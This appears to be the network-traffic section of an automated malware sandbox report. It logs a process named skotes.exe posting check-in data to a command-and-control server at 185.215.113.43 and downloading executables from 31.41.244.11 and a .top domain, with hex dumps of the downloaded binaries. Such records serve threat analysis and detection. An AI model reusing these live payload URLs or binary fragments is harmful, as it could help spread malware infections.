Dec 21, 2024 10:15:43.748569965 CET	2472	OUT	Data Raw: 4f 38 4d 59 43 72 48 44 34 66 42 5a 50 6c 4f 44 77 2b 47 77 6c 4b 68 68 63 4a 67 36 47 47 77 5c 2f 31 69 65 46 77 57 43 6f 59 76 4d 61 74 4f 70 6d 57 50 70 59 4c 42 52 78 32 4c 78 4b 77 6d 48 39 6e 5c 2f 41 47 4f 31 5c 2f 4b 48 5c 2f 41 4d 46 70 Data Ascii: O8MYCrHD4fBZPlODw+GwlKhhcJg6GGw\/1ieFwWCoYvMatOpmWPpYLBRx2LxKwmH9n\/AGO1\/KH\/AMFpv+UgHgL\/ALM78Lf+rq+Klf0X\/so\/BF\/2efgh4Y+F0\/h74IeGL7SL3xHfX+lfs7fDfWPhP8KEn1nX9R1KKfQPBGv+M\/iBq+nXU1jPaHW7i88VagdR1kX19bx2VrPBY2\/86H\/Bab\/lIB4C\/wCzO\/C3\/
Dec 21, 2024 10:15:43.748625994 CET	2472	OUT	Data Raw: 72 5c 2f 6e 38 61 4a 49 59 57 57 4e 39 6d 65 76 2b 66 38 5c 2f 72 33 50 4c 6b 57 4e 4e 36 53 54 4a 5c 2f 72 66 66 50 72 31 39 50 38 6e 76 6e 37 50 7a 5c 2f 41 41 5c 2f 34 4a 66 4f 5c 2f 4c 2b 76 6d 51 79 4d 37 46 33 64 39 67 5c 2f 31 66 2b 71 74 Data Ascii: r\/n8aJIYWWN9mev+f8\/r3PLkWNN6STJ\/rffPr19P8nvn7Pz\/AA\/4JfO\/L+vmQyM7F3d9g\/1f+qts\/wCf0\/qzbu3u6eS8n+fp3xz\/AEp6Rja\/7mPZj+P6cWv\/AF\/d6ZJnzH\/9p\/uIPT6+\/WszUZHs8w787\/8AVS\/\/ACV+H9KYJC3zo+X\/AOef\/Tvj0z16U\/cnzo7\/ACS\/Z\/8Alr\/5Nf061D867
Dec 21, 2024 10:15:43.748636961 CET	2472	OUT	Data Raw: 65 69 65 49 66 43 37 65 49 66 69 58 38 51 66 42 66 77 30 38 4e 43 5c 2f 31 79 4b 44 54 78 34 6a 38 64 36 5c 2f 59 2b 47 39 45 62 55 5a 74 50 67 31 57 2b 68 73 46 31 48 55 49 47 76 4a 62 50 54 4c 2b 36 6a 74 78 49 39 76 5a 33 4d 6f 53 42 2b 56 30 Data Ascii: eieIfC7eIfiX8QfBfw08NC\/1yKDTx4j8d6\/Y+G9EbUZtPg1W+hsF1HUIGvJbPTL+6jtxI9vZ3MoSB+V0H4geGdeiu2g1jRlls9Y1TQ5Y01W3dZb3SLprS6Nr562txLCZUJiZ7WGQoVLxRsSg\/EcL4N\/R2wfF3JQ4P4T\/ANZK2DlmkcrrTxOKwH1OnXp0JYqhkOKxVbIKUYV6lKn+4wEJwlOFopSi3\/RmM8ffpU5hwK5Yj
Dec 21, 2024 10:15:43.748686075 CET	2472	OUT	Data Raw: 7a 58 4a 38 79 77 4f 58 56 4b 50 43 38 4d 31 79 7a 42 34 6a 4f 56 6e 4f 5a 35 7a 77 6e 52 78 65 44 6f 59 69 56 4f 56 50 4e 63 74 78 6d 62 30 63 6b 77 2b 47 74 6c 31 54 41 75 70 37 66 42 56 59 78 36 68 45 45 61 68 56 33 59 48 39 35 6d 63 5c 2f 69 Data Ascii: zXJ8ywOXVKPC8M1yzB4jOVnOZ5zwnRxeDoYiVOVPNctxmb0ckw+Gtl1TAup7fBVYx6hEEahV3YH95mc\/izEk\/nTqr+JHu\/B+r\/GLRfEkmkaVe\/BP4g+Gvhd4hM2rySW3ifxr4yudQn8J6T8PriDT5V8Srr\/g3Rdc+JenahONJ0yTwDpTas16t5qmgaZq1iv6MyDijh7ijD1sTw7m2DzbD4d4WNargpupTpPGYLDZjhYyf
Dec 21, 2024 10:15:43.868238926 CET	4944	OUT	Data Raw: 31 6a 78 69 4f 69 6e 62 47 39 50 35 66 34 30 32 67 43 76 52 56 69 71 39 42 30 42 52 52 52 51 42 46 5c 2f 66 38 41 72 5c 2f 55 30 79 70 56 36 74 39 66 36 6d 6d 73 75 4f 52 30 5c 2f 6c 51 62 65 5c 2f 77 44 33 66 78 47 56 48 4a 32 5c 2f 48 2b 6c 53 Data Ascii: 1jxiOinbG9P5f402gCvRViq9B0BRRRQBF\/f8Ar\/U0ypV6t9f6mmsuOR0\/lQbe\/wD3fxGVHJ2\/H+lSUUFFeipP+Wn+f7tR0AFRydvx\/pUlFB0FeiiigBr\/AHT+H8xUNWKifr+H9TQdAyiiigCF\/vH8P5Cm09+v4f1NMoOgjMfp+IP+f0xUL\/dP4fzFWqhf7x\/D+QoAq0VM\/wB0\/h\/MUzb8ue\/X8P8APP6V0HQM
Dec 21, 2024 10:15:51.393564939 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 21 Dec 2024 09:15:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 63 49 65 4a 76 65 70 42 4a 65 77 72 67 61 46 77 31 37 33 34 37 37 32 35 34 35 Data Ascii: cIeJvepBJewrgaFw1734772545

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:47.119031906 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019253001&unit=246122658369
Dec 21, 2024 10:15:48.203984976 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49867	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:48.328879118 CET	59	OUT	GET /files/karl/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:49.654603004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:49 GMT Content-Type: application/octet-stream Content-Length: 22016 Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT Connection: keep-alive ETag: "67642cca-5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}\| (+\| (0P~,Brp(rp((rp(((o(08s2(}(})}'\|((+\|((0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 21, 2024 10:15:49.654789925 CET	1236	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
Dec 21, 2024 10:15:49.654874086 CET	1236	IN	Data Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06 Data Ascii: +s&o@(2-o3+IR0s(sM%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s%(+(+)sO(+
Dec 21, 2024 10:15:49.654930115 CET	672	IN	Data Raw: 42 02 7b 12 00 00 04 03 6f 72 00 00 0a 16 fe 01 2a 22 02 28 6e 00 00 0a 00 2a 62 03 02 7b 13 00 00 04 03 6f 38 00 00 0a 6f 1e 00 00 0a 6f 36 00 00 0a 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 07 00 fe 01 00 00 19 00 00 11 02 7b 14 00 00 04 0a 06 17 Data Ascii: B{or"(nb{o8oo6"(n0{6++6++ss},+.++M8{{otou(v-C%}}\|(+}{\|%}(x}
Dec 21, 2024 10:15:49.654964924 CET	1236	IN	Data Raw: 00 cf 01 00 00 1a 00 00 00 1e 00 00 01 06 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 04 00 df 01 00 00 1a 00 00 11 02 7b 1f 00 00 04 0a 06 2c 02 2b 05 38 5d 01 00 00 00 02 28 7e 00 00 0a 6f 7f 00 00 0a 7d 22 00 00 04 02 7b 22 00 00 04 16 28 01 00 00 Data Ascii: "(n0{,+8](~o}"{"(&(,rp((j(}#rp{#(~(&rp~(()}%rp{%oY((rp(rA
Dec 21, 2024 10:15:49.655000925 CET	224	IN	Data Raw: 2f 12 02 7c 3c 00 00 04 fe 16 0f 00 00 1b 6f 33 00 00 0a 00 dc 02 7c 3c 00 00 04 fe 15 0f 00 00 1b 02 02 7b 29 00 00 04 28 0a 00 00 06 7d 33 00 00 04 72 ed 09 00 70 02 7b 33 00 00 04 8c 48 00 00 01 28 87 00 00 0a 28 19 00 00 0a 00 7e 05 00 00 04 Data Ascii: /\|<o3\|<{)(}3rp{3H((~(~({)(}4r+p\|4{H((rYp\|4{H(({)(}5rp{5(({)
Dec 21, 2024 10:15:49.655170918 CET	1236	IN	Data Raw: 00 04 28 0d 00 00 06 7d 36 00 00 04 72 bb 0a 00 70 28 19 00 00 0a 00 00 02 02 7b 36 00 00 04 6f 2d 00 00 0a 7d 3e 00 00 04 2b 26 02 02 7c 3e 00 00 04 28 2e 00 00 0a 7d 3f 00 00 04 00 02 7b 3f 00 00 04 28 19 00 00 0a 00 00 02 14 7d 3f 00 00 04 02 Data Ascii: (}6rp({6o-}>+&\|>(.}?{?(}?\|>(2-/\|>o3\|>{)(}7rp{7(({2o}8rCp{8H(({)(}9rp{9(
Dec 21, 2024 10:15:49.655371904 CET	1236	IN	Data Raw: 09 ee 0d 06 00 73 03 52 0b 06 00 05 0b eb 0a 0a 00 a1 0c bc 0d 06 00 89 0c 52 0b 06 00 82 06 52 0b 0a 00 9b 0e bc 0d 06 00 48 0d ee 0d 06 00 21 08 ee 0d 06 00 6c 03 52 0b 0a 00 a0 0a 4a 0e 0e 00 cd 02 b8 05 06 00 9a 07 ee 0d 06 00 bf 02 ee 0d 06 Data Ascii: sRRRH!lRJ-_BR~RRJvJiRRb/=dJ*
Dec 21, 2024 10:15:49.655420065 CET	1236	IN	Data Raw: 05 18 00 12 2b 00 00 00 00 83 00 20 01 8b 05 19 00 1a 2b 00 00 00 00 83 00 1c 02 92 05 1a 00 22 2b 00 00 00 00 83 00 64 01 8b 05 1b 00 2a 2b 00 00 00 00 83 00 63 00 8b 05 1c 00 37 2b 00 00 00 00 83 00 8b 00 8b 05 1d 00 3f 2b 00 00 00 00 83 00 f6 Data Ascii: + +"+d*+c7+?+F+S+ \+ j+!s+m!+"+"+#+# .&#".$,.
Dec 21, 2024 10:15:49.655456066 CET	1236	IN	Data Raw: 01 0b 06 8d 03 6c 00 54 0d a0 03 74 00 6f 06 7d 01 41 01 58 06 b2 03 74 00 fd 0e 63 01 51 01 af 0d c9 03 19 02 d3 05 d9 03 09 01 6f 06 7d 01 41 01 86 0c ea 03 41 01 07 0f 06 00 01 01 91 0e fd 03 01 01 11 07 03 04 21 02 92 07 54 00 29 02 46 10 07 Data Ascii: lTto}AXtcQo}AA!T)F9qyy/5<L\|(`!c tyy\|}44?....#.+.3.;.C.K
Dec 21, 2024 10:15:49.776078939 CET	1236	IN	Data Raw: 72 69 65 72 65 41 6e 61 67 72 61 6d 6d 65 3e 62 5f 5f 32 32 5f 31 00 3c 3e 39 5f 5f 31 36 5f 31 00 3c 45 72 6d 69 74 74 6c 65 4d 61 78 69 6d 61 6c 65 57 6f 72 74 4c c3 a4 6e 67 65 3e 62 5f 5f 31 36 5f 31 00 3c 68 57 6e 64 3e 35 5f 5f 31 00 3c 77 Data Ascii: riereAnagramme>b__22_1<>9__16_1<ErmittleMaximaleWortLnge>b__16_1<hWnd>5__1<wortAnzahl>5__1<httpClient>5__1<berprfeRechtschreibung>b__1<>u__1IEnumerable`1IOrderedEnumerable`1Task`1TaskAwaiter`1HashSet`1List`1_heruntergeladen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49876	185.121.15.192	80	6064	C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:51.899482965 CET	123	OUT	GET /zldPRFrmVFHTtKntGpOv1734579851?argument=cIeJvepBJewrgaFw1734772545 HTTP/1.1 Host: home.fivetk5ht.top Accept: /
Dec 21, 2024 10:15:53.578048944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 21 Dec 2024 09:15:53 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="2QEtacHyJXtAjIXfSS;" Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT Cache-Control: no-cache ETag: "1734579851.9291923-10816560-2974095529" Data Raw: 43 6e b9 73 e8 06 85 00 03 9d f1 44 4f d4 2a 88 21 04 ac 53 e5 65 e5 f8 bf 81 f9 ed af 8a 19 34 29 2d 35 35 ca 51 a3 c6 fa 72 39 4f 87 29 e9 fc a1 e6 79 df 5d d5 8b 59 90 72 e5 93 74 eb 85 53 0c b4 6c d7 35 26 ab a6 90 a1 b5 eb b7 a9 23 82 8c 84 f4 2e 0b fa 65 06 8d 2c 5c a7 1c 0a 83 50 8c 81 98 49 8b 04 a8 21 03 99 5b 44 18 fd 80 55 2d 82 9d b6 fb 4b 63 52 18 b4 71 54 20 7c 94 c1 86 d9 34 33 36 df de 89 63 c9 3b 71 a7 da 02 0d 89 96 a9 5e 28 8f 6d 1e 31 4c e9 81 7e 48 1b 9a a2 24 0d 94 5b 49 09 5d f2 82 57 a7 e0 4c a1 54 ad 91 7f 16 85 ea 25 3a a7 9c cc 77 9c 59 2a 15 02 86 d0 49 18 ae 03 35 a0 fe b1 9d 8b a8 a9 50 c4 c7 36 19 a6 08 7b 5b c7 5a 05 b3 52 19 8e e9 76 61 c0 13 98 7a e4 12 b4 3e ed 2a 27 a6 ef a2 4a 7a be 30 0a 4a 3f 4b ef 76 8d 82 73 ac b5 71 5c b9 b2 6a 7d 15 a8 94 51 11 6d c2 8a ec a1 fb d0 35 3e 2c 4c 2d 2c 78 78 7a 54 c2 05 1c 5d 58 69 0f 5f ff 4a 6a 4f 17 c5 e1 bb 5c 45 3a 15 28 ac 5e 0d 95 d9 a0 8c ad 2d 74 9a 69 c1 ac 6e ea d3 6b f3 b7 70 0e 40 ed e0 34 15 4a 31 89 25 eb d8 df [TRUNCATED] Data Ascii: CnsDO!Se4)-55Qr9O)y]YrtSl5&#.e,\PI![DU-KcRqT \|436c;q^(m1L~H$[I]WLT%:wYI5P6{[ZRvaz>'Jz0J?Kvsq\j}Qm5>,L-,xxzT]Xi_JjO\E:(^-tinkp@4J1%Ef!wrvX{mB_b2N5U3\CeBWr\|s$9.Y,M@qbwPx.T N~L9iRYS,bzfr+6tisA?G1:8lrhS\|!8M`<.MpxvG1N9tR!rbV],c)a,rk?AD:2V&P/\@2Rfg?]Booydm_Kl&5KOC%Z6K.D0y6YYj2>E{sS'>u/`s$@s$Wq8I?QKhxTpgwaCWMAsE&W?oOn.d\vsdudNl E=d"5S=aDp!@wuMu$RCApM(UuEAA (y;
Dec 21, 2024 10:15:53.578088999 CET	1236	IN	Data Raw: 99 c8 66 50 7c a1 c2 73 ce f1 36 9e a8 73 6f 92 ea 31 94 ed 15 86 a3 ac cb 21 e0 d6 65 79 bb 0e db 86 1d e0 96 67 16 a2 a4 e0 91 1c 70 41 4d b7 c2 02 ef a3 99 60 b7 0c bd a2 33 d9 95 31 c6 7d 7c ce aa ca 32 28 37 73 37 5a 2d 14 f8 7e df 1e d5 8c Data Ascii: fP\|s6so1!eygpAM`31}\|2(7s7Z-~_ir1b5<\I5<+4~CjhlU\p<@GGb2OA@q>Q)NLajz]- 9QRN9r_12n@o0FZe3mv
Dec 21, 2024 10:15:53.578125000 CET	1236	IN	Data Raw: 0e c7 fc 3f c6 a8 39 42 05 0a 48 82 29 91 14 ff 39 a9 4f 86 0f 93 ab fb 5a 50 fa bc e1 cc e9 35 3b b0 47 03 72 41 36 60 bb 9c ce 72 bf 4d f6 18 90 15 d9 8e 4d ca d8 2f 7a 2b 8f 85 df fe e2 88 b6 33 28 d8 1e 8c d5 d2 ad 39 99 88 25 d6 78 5a ca 9b Data Ascii: ?9BH)9OZP5;GrA6`rMM/z+3(9%xZz;krqt,y2(hm^8&z]b)cc=EJfzIedI+*qGkdWl]9e!oo'cO:;B++F
Dec 21, 2024 10:15:53.578160048 CET	1236	IN	Data Raw: d7 5f 18 12 44 06 ea 06 91 13 7c 6b 53 fc 20 a7 9c 5c 97 6a 74 a3 f6 f9 19 48 27 b6 e4 a2 45 ca 82 cb bd 28 87 50 68 b9 47 42 9e e6 f9 a1 d7 7e 99 f2 59 33 b0 fa 30 2f 93 e2 d8 ea d5 70 d6 ae 1e ec c9 66 0b 17 17 ec 76 db 8d 01 ff cc 5f dd 4b e3 Data Ascii: _D\|kS \jtH'E(PhGB~Y30/pfv_Ku9meW*r5d\ek;.W}BvM_bjZnQ4+ZA^[^3n`H%'NHdoS["]lM.I( xA:h
Dec 21, 2024 10:15:53.578197956 CET	1236	IN	Data Raw: 49 73 67 46 b4 f3 56 b4 c3 19 f0 ab 8a fe 4b e3 2f 1c b5 d1 eb aa e1 e1 c8 8d cd d9 62 f1 76 3c 42 20 39 09 62 3b fd df 98 a7 2b b8 af 8b 5d e8 e7 78 89 6a 65 2d 3b 7b d9 34 e5 15 c8 17 e3 fb 00 2d 56 ea c8 69 92 3c 85 12 1a 3c 06 56 88 14 c7 85 Data Ascii: IsgFVK/bv<B 9b;+]xje-;{4-Vi<<VL+6'j*Zik8$YA{#68GKCFTK$]6oQ5CBmTKXF}('Cb;8n6RuyDvI6qI[\|L!'8fWd9tjE
Dec 21, 2024 10:15:53.578233004 CET	1236	IN	Data Raw: e4 83 76 74 ef e8 c5 96 ef fe 6d a6 77 76 38 8b f7 5b ca b3 ee 69 19 20 34 70 f8 cb 4a a5 05 d7 85 0e fa 37 82 63 93 0b 2c 21 cf c7 f8 59 57 0e 39 7b cb 10 91 d2 e0 76 35 f8 88 ed 1f a1 35 9c e0 08 88 52 34 ef da 19 8b 75 55 1b 28 79 c4 d9 da 15 Data Ascii: vtmwv8[i 4pJ7c,!YW9{v55R4uU(y-fgmA\1:p831`jI4FAb.)w1z<{u~4;h"FbD(<'"\|lxVVmRkO(0M-roO+p`W
Dec 21, 2024 10:15:53.578272104 CET	723	IN	Data Raw: 92 aa 97 67 b9 4b 13 c6 58 03 21 00 d2 9e 53 19 79 dd 35 49 7a 86 f5 b8 44 65 f6 03 3f a8 3a ad 55 fd 84 4f e4 31 9b 10 53 c5 0a 20 ee 3b 9c 9f 62 9d 3d c6 2f e5 0b 2e 50 b1 a6 a2 53 22 69 21 9a 0b d8 99 4d f0 6c 34 01 4d d4 50 2e 9d 00 d1 72 eb Data Ascii: gKX!Sy5IzDe?:UO1S ;b=/.PS"i!Ml4MP.r+d&woRDl}D0Hiw<`zt-R6i}p>..P/\IP=o"BP9&7\;~e=fe#We+RwiSq@28rALw[uBT.9
Dec 21, 2024 10:15:53.593550920 CET	1236	IN	Data Raw: e4 0d dc b1 f6 43 be 08 fe ac 63 2f a5 34 0c e6 33 10 f5 3f 0c 0c 29 c9 27 6f fe 5e 20 6f 85 ed 53 80 a7 64 0d 2c e3 dd 4d 1b 85 1c 63 c7 e5 fa f3 7a f1 c5 dd c2 c2 f1 b7 b3 fe 38 1b 5f 7a 4f ef 69 a1 b8 a6 64 33 d9 53 dc bf 16 60 b1 b7 e3 0f 00 Data Ascii: Cc/43?)'o^ oSd,Mcz8_zOid3S`w:b^K4A=TnpC)b(Y^p:BBwEBJQ;tazv]S@yD"r:L weTl<)L+%9QFJo+^tmS7C:
Dec 21, 2024 10:15:53.593586922 CET	1236	IN	Data Raw: 48 10 80 de 71 77 70 5c bc 32 76 7a f9 a8 28 f6 95 a1 43 9e 85 d1 33 85 94 1c f6 f0 b2 5d e8 bb 99 76 e9 ad 77 1c d3 f6 ed 60 e4 24 e3 71 75 ba 91 33 88 cc 50 04 ae 17 6b fb ae 4b 96 7f 42 9a 67 da ce 2c 44 ec cf f5 72 f7 4e 05 3e b2 26 54 92 02 Data Ascii: Hqwp\2vz(C3]vw`$qu3PkKBg,DrN>&To58;`kr^v?^j(>ETD4Zq{5]e7HpWc:+;:wL&mi1/8StB?dmT^9H.^~X1i-AVm81eC
Dec 21, 2024 10:15:53.593642950 CET	1236	IN	Data Raw: 6f 42 1a f8 3d de c7 bb 93 e0 a5 3a 2e 68 bd cf 9b 39 1f a7 a3 a8 e8 3a 46 a9 41 44 45 cd 00 b1 2b cc 25 12 0f ed 1e b5 f6 98 c7 0e 20 c9 3f 63 45 bc 7c 29 0b 08 81 66 63 e3 c4 21 8c b8 31 75 eb f8 5c 35 a8 de d0 b1 42 9f 5e 54 8f b9 41 f4 13 5f Data Ascii: oB=:.h9:FADE+% ?cE\|)fc!1u\5B^TA_n#Fva/W^t@gQI}HQ~ol ?~.ZtK?f@GIM9A\N5OprI4^ThDrv?*'X^ jmF(}J z]A
Dec 21, 2024 10:15:53.699287891 CET	1236	IN	Data Raw: 64 51 b6 b7 66 fd cf fe 40 3b b4 e3 42 61 3b 5a 31 db 69 2c cb b0 49 18 39 cd 1c 29 63 51 d9 59 e9 a6 40 60 3b 8e ef c6 2f c6 2a ed 39 c8 f4 48 2b 41 58 35 45 6c f9 75 55 14 99 0e 61 da f8 fe 72 3d 9f c4 8b 25 0f 37 ae 80 b6 b8 66 b9 de 6b b0 c8 Data Ascii: dQf@;Ba;Z1i,I9)cQY@`;/9H+AX5EluUar=%7fkG.m1f`xw(b23:4THB=G&SzzEdmj^J4)]C)qU%">%t3dv{G&*;XxZ%ls&El3l&=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49879	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:52.300684929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019254001&unit=246122658369
Dec 21, 2024 10:15:53.656137943 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49889	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:53.781757116 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:55.103296995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:54 GMT Content-Type: application/octet-stream Content-Length: 4453888 Last-Modified: Sat, 21 Dec 2024 08:24:01 GMT Connection: keep-alive ETag: "67667b21-43f600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 e0 c6 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c7 00 00 04 00 00 7f ba 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 c0 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 c0 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(JILu2`I@D@ _rsrh r4(@.rsrcrD(@.idata rF(@ 8rH(@qutbxpsa@J(@alacpqgyC@.taggant0"C@
Dec 21, 2024 10:15:55.103375912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:55.103411913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:55.103466034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:55.103502035 CET	896	IN	Data Raw: c7 60 23 07 0e cf 75 d4 48 85 17 4f e7 f6 62 bf f2 44 63 19 25 cd 76 cf 27 2a f6 d1 7e 57 3e b0 ee 48 1c c9 bc 18 47 ad b9 8c 20 c5 df 60 68 56 f1 57 85 05 0f cd d2 53 85 6c 37 15 90 6c 5f 74 7c 66 ae d8 23 f6 84 8e 6c d0 bc 15 87 ce c2 be 8a 6d Data Ascii: `#uHObDc%v'*~W>HG `hVWSl7l_t\|f#lm''7;.,%Tvu%YXr%N)~(V7>NQ-DQ%sLX;;}$\|<l:/E&^Lj+2^k:h
